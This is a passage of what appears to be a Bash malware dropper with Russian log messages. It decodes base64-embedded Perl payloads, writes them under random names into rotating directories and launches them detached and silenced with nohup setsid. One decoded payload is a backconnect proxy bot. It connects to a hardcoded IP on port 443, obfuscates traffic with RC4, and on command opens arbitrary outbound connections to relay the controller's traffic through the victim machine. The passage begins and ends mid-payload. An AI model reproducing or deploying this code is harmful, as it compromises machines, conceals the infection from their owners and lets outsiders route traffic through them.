CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #49 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #49 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 50 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzYyLjYwLjEzMS4xOTcnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp 